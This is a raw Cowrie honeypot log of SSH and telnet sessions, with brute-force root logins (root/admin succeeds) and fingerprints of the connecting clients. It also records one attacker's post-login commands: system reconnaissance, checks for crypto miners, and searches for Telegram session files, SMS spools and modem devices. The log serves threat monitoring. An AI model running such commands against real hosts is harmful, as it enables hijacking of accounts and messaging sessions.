{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7c:13:cc:38:16:0d:31:24:ae:eb:2b:f3:7f:d0:39:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoSzYcarBrViYe74MytkG9Gid+racZBkQawHfzKInarhjyaZwOvuPKh468u7GJT4TsTcIDmM3Ns/cC9UV2BimjozwPrHhqWg1EVxBw5aKy7DzBy3GYDCB2XYbzRNd7GIazDk6o1kR3a6gs12NSD4sM6UZbgkMprqRSOXBwVY/nDK3Xu+NzvgaVqwTF5DkLWEy2a8b0vDu5cyOCUp6GgCLPqzHAvknASs/wCVkSTYTXjXtObrDPyN04k21aOVSPa//G5KxCOqyQA/uee+ptHzeEGbmgeUugutOf/rLdtOOOTZLRTJ8wmcaL8yME3aD08f0A5Z9P+5S8ObhaDihn1U/h","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:40:52.510397Z","src_ip":"213.152.185.117","session":"f33f205da253","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:82:09:56:88:fb:ba:47:59:e5:c2:a1:ae:84:00:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvxd22WHrvNhxQ+1QhB+DqpyOudXq5pUqCZRWh19wQHbWMalm6a1g1FfWomLVte9cG/nk7KETIn6igWppV5GC9/utd8VB+iWO/8iobv8lSIms4KsIdOUvQZr8vS/yuHskRSE+ZRfgyaH94VRtrBiGBrCYBViOP1imymzPqLxsZYIpw3/47MBO/HhqrEKLQN2Iara7xLavvegsYXNjEZMbznPnDBInvK8ZkDfIA2vsBmFAUxz6m2KDTQbG270uPmDEWS5IjRZ3AhMkNAF5EIRU70yVurZQ+YD/KoHNhhCtwE856CYBFYcAkgTBBEdVhYpsLHTXFz1e1PxvEnNrC28H4w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 91:82:09:56:88:fb:ba:47:59:e5:c2:a1:ae:84:00:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:40:52.594254Z","src_ip":"213.152.185.117","session":"f33f205da253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:82:09:56:88:fb:ba:47:59:e5:c2:a1:ae:84:00:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvxd22WHrvNhxQ+1QhB+DqpyOudXq5pUqCZRWh19wQHbWMalm6a1g1FfWomLVte9cG/nk7KETIn6igWppV5GC9/utd8VB+iWO/8iobv8lSIms4KsIdOUvQZr8vS/yuHskRSE+ZRfgyaH94VRtrBiGBrCYBViOP1imymzPqLxsZYIpw3/47MBO/HhqrEKLQN2Iara7xLavvegsYXNjEZMbznPnDBInvK8ZkDfIA2vsBmFAUxz6m2KDTQbG270uPmDEWS5IjRZ3AhMkNAF5EIRU70yVurZQ+YD/KoHNhhCtwE856CYBFYcAkgTBBEdVhYpsLHTXFz1e1PxvEnNrC28H4w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:40:52.598336Z","src_ip":"213.152.185.117","session":"f33f205da253","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:40:52.684014Z","src_ip":"213.152.185.117","session":"f33f205da253","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":46276,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec0f73287fd1","protocol":"ssh","message":"New connection: 80.66.85.226:46276 (10.17.0.5:22) [session: ec0f73287fd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:40:55.801316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:40:55.811543Z","src_ip":"80.66.85.226","session":"ec0f73287fd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:40:55.906709Z","src_ip":"80.66.85.226","session":"ec0f73287fd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asasasasas","message":"login attempt [root/asasasasas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:40:56.190845Z","src_ip":"80.66.85.226","session":"ec0f73287fd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:40:57.317980Z","src_ip":"80.66.85.226","session":"ec0f73287fd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.63.130.95","src_port":43434,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2980d198279","protocol":"ssh","message":"New connection: 109.63.130.95:43434 (10.17.0.5:22) [session: a2980d198279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:02.243525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:02.249627Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f45fb203c31069bb280067b71ed92ccb","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f45fb203c31069bb280067b71ed92ccb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:02.379900Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:07.355967Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:08.486249Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:08.791225Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/ip cloud print","message":"CMD: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:08.795720Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"/ip cloud print","message":"Command not found: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:08.799879Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","size":30,"shasum":"b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:08.980937Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:09.296553Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ifconfig","message":"CMD: ifconfig","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:09.300038Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","size":909,"shasum":"1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:09.791931Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:10.108858Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:10.112762Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:10.243395Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:10.758117Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo","message":"CMD: cat /proc/cpuinfo","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:10.761390Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","size":3437,"shasum":"52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:11.181944Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:11.481942Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps | grep '[Mm]iner'","message":"CMD: ps | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:11.485134Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","size":0,"shasum":"4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:11.615528Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:12.285702Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps -ef | grep '[Mm]iner'","message":"CMD: ps -ef | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:12.290355Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","size":0,"shasum":"e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:12.423165Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:12.765632Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","message":"CMD: ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:12.769403Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","size":794,"shasum":"722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:13.303687Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:13.601623Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"locate D877F783D5D3EF8Cs","message":"CMD: locate D877F783D5D3EF8Cs","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:13.604925Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","size":0,"shasum":"3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:13.787570Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:14.115669Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo Hi | cat -n","message":"CMD: echo Hi | cat -n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:14.119034Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","size":11,"shasum":"3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:14.249195Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":15988,"dst_ip":"10.17.0.5","dst_port":22,"session":"239085bd997c","protocol":"ssh","message":"New connection: 38.93.206.2:15988 (10.17.0.5:22) [session: 239085bd997c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:42.298147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:42.302738Z","src_ip":"38.93.206.2","session":"239085bd997c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:42.353997Z","src_ip":"38.93.206.2","session":"239085bd997c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mama2012","message":"login attempt [root/mama2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:42.514823Z","src_ip":"38.93.206.2","session":"239085bd997c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:41:43.569363Z","src_ip":"38.93.206.2","session":"239085bd997c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.165.80.89","src_port":54335,"dst_ip":"159.203.135.109","dst_port":23,"session":"acf414a56d4d","protocol":"telnet","message":"New connection: 123.165.80.89:54335 (159.203.135.109:23) [session: acf414a56d4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:42:41.230488Z"}
{"eventid":"cowrie.session.closed","duration":13.36750054359436,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:42:54.597892Z","src_ip":"123.165.80.89","session":"acf414a56d4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"134.6","message":"Connection lost after 134.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:43:16.861062Z","src_ip":"109.63.130.95","session":"a2980d198279","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":37052,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fc83f544a53","protocol":"ssh","message":"New connection: 103.27.238.116:37052 (159.203.135.109:22) [session: 4fc83f544a53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:43:28.431638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:43:28.436229Z","src_ip":"103.27.238.116","session":"4fc83f544a53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":39012,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd8ccfb3f410","protocol":"ssh","message":"New connection: 103.27.238.120:39012 (159.203.135.109:22) [session: fd8ccfb3f410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:43:28.485745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:43:28.492621Z","src_ip":"103.27.238.120","session":"fd8ccfb3f410","protocol":"ssh"}
